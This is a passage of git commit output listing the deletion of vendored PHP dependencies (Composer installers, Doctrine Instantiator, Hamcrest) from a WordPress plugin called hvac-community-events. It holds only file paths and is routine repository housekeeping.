wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KohanaInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LanManagementSystemInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LaravelInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LavaLiteInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LithiumInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MODULEWorkInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MODXEvoInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MagentoInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MajimaInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MakoInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MantisBTInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MauticInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MayaInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MediaWikiInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MiaoxingInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MicroweberInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ModxInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MoodleInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OctoberInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OntoWikiInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OsclassInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OxidInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PPIInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PantheonInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PhiftyInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PhpBBInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PimcoreInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PiwikInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PlentymarketsInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Plugin.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PortoInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PrestashopInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ProcessWireInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PuppetInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PxcmsInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/RadPHPInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ReIndexInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Redaxo5Installer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/RedaxoInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/RoundcubeInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SMFInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ShopwareInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SilverStripeInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SiteDirectInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/StarbugInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SyDESInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SyliusInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Symfony1Installer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TYPO3CmsInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TYPO3FlowInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TaoInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TastyIgniterInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TheliaInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/TuskInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/UserFrostingInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/VanillaInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/VgmcpInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WHMCSInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WinterInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WolfCMSInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/WordPressInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/YawikInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ZendInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ZikulaInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/bootstrap.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/platform_check.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/.doctrine-project.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/CONTRIBUTING.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/docs/en/index.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/docs/en/sidebar.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/psalm.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/ExceptionInterface.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/InvalidArgumentException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/UnexpectedValueException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Instantiator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/doctrine/instantiator/src/Doctrine/Instantiator/InstantiatorInterface.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.coveralls.yml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.github/workflows/tests.yml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.gitignore delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.gush.yml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/.travis.yml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/CHANGES.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/LICENSE.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryCall.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryClass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryFile.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryGenerator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryMethod.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/FactoryParameter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/GlobalFunctionFile.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/StaticMethodFile.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/file_header.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/functions_footer.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/functions_header.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/functions_imports.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/matchers_footer.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/matchers_header.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/parts/matchers_imports.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/generator/run.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArray.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContaining.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingInAnyOrder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingInOrder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingKey.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingKeyValuePair.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayWithSize.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/MatchingOnce.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/SeriesMatchingOnce.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/AssertionError.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/BaseDescription.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/BaseMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Collection/IsEmptyTraversable.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Collection/IsTraversableWithSize.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/AllOf.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/AnyOf.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/CombinableMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/DescribedAs.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Every.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/HasToString.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Is.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsAnything.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsCollectionContaining.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsEqual.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsIdentical.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsInstanceOf.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsNot.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsNull.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsSame.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsTypeOf.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Set.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/ShortcutCombination.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Description.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/DiagnosingMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/FeatureMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Internal/SelfDescribingValue.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Matcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/MatcherAssert.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Matchers.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/NullDescription.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Number/IsCloseTo.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Number/OrderingComparison.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/SelfDescribing.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/StringDescription.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEmptyString.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEqualIgnoringCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEqualIgnoringWhiteSpace.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/MatchesPattern.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContains.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContainsIgnoringCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContainsInOrder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringEndsWith.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringStartsWith.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/SubstringMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsArray.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsBoolean.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsCallable.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsDouble.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsInteger.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsNumeric.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsObject.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsResource.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsScalar.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsString.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/TypeSafeDiagnosingMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/TypeSafeMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Util.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Xml/HasXPath.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/AbstractMatcherTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingInAnyOrderTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingInOrderTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingKeyTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingKeyValuePairTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayWithSizeTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/BaseMatcherTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Collection/IsEmptyTraversableTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Collection/IsTraversableWithSizeTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/AllOfTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/AnyOfTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/CombinableMatcherTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/DescribedAsTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/EveryTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/HasToStringTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsAnythingTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsCollectionContainingTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsEqualTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsIdenticalTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsInstanceOfTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsNotTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsNullTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsSameTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsTypeOfTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/SampleBaseClass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/SampleSubClass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/SetTest.php delete mode 100644 